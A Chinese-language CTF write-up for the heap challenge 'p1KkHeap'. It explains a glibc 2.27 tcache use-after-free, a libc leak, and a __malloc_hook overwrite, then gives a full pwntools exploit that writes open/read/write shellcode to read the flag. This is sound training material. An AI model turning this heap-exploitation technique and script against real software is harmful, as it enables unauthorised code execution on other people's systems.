这个函数用mmap映射了一大块内存,而且开了沙盒,我们可以知道禁用见execve,于是system函数和onegadget都不可行。于是就只能自己将shellcode(orw)写到0x66660000这个内存空间上,然后再想办法劫持到这边运行。
我们看看free函数
典型的uaf漏洞
这个2.27版本的,我们一般利用unsorted attach方式来泄露libc,但是我们发现free有限制,只能泄露3次,不能泄露到unsorted bins,但是我们发现但是tcache->count是一个无符号类型的数据,我们在double free后tcache成环,那么就可以一直malloc这一块地方内存,使tcache->count变为负数(实际上是很大的正数)。这样再free时就不会进入tcache中,而是进入unsort bin中,这样可以得到libc地址。
我这个题决定malloc hook,我们袭击mallochook填充0x66660000,我们把shellcode写在0x66660000就可以执行了,而且由于tcache不check大小,所以可以通过修改tcache_entry就可以malloc任意地址,由于沙盒,我们决定用open_write等函数来写shellcode
exp:
from pwn import *
sh = process('./p1KkHeap')
context(arch='amd64',os='linux')
libc_path = './libc.so.6'
libc = ELF(libc_path)
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']
def create(size):
sh.sendlineafter('Your Choice:','1')
sh.sendlineafter('size:',str(size))
def show(index):
sh.sendlineafter('Your Choice:','2')
sh.sendlineafter('id:',str(index))
def edit(index,content):
sh.sendlineafter('Your Choice:','3')
sh.sendlineafter('id:',str(index))
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('Your Choice:','4')
sh.sendlineafter('id:',str(index))
#chunk0
create(0x100)
#chunk1,用来挡住chunk0与top块,这样chunk0放入unsorted bin时不会发生合并,指针就会保留在chunk0中
create(0x40)
#chunk0和自己形成双向链表
delete(0)
delete(0)
#泄露chunk0的堆地址
show(0)
sh.recvuntil('content: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
#得到tcache存放表头的地址
tcache_head_addr = heap_addr - 0x188
#chunk2
create(0x100)
#将chunk0的fd指向表头指针处
edit(2,p64(tcache_head_addr))
#chunk3
create(0x100)
#chunk4,chunk4是tcache存放表头指针的位置,我们edit chunk4,就能修改tcache的表头
#现在tcache 的count变成了-1,由于是无符号数,导致比较时>7成立
create(0x100)
#chunk0进入unsorted bin
delete(0)
#泄露main_arena+96的地址
show(0)
sh.recvuntil('content: ')
main_arena_96 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_96 & 0xFFFFFFFFFFFFFF00) + (malloc_hook_s & 0xFF)
libc_base = malloc_hook_addr - malloc_hook_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s
#将表头指向0x66660000,这样我们就能分配到这里了
edit(4,p64(0x66660000))
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
#chunk5分配到了0x66660000
create(0x100)
#写入shellcode到0x66660000
edit(5,shellcode)
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
#将malloc_hook设置为tcache bin表头
edit(4,p64(malloc_hook_addr))
#chunk6分配到malloc_hook处
create(0x100)
#写malloc_hook
edit(6,p64(0x66660000))
#触发malloc hook去执行我们在0x66660000处布下的shellcode
create(0x1)
sh.interactive()
具体看这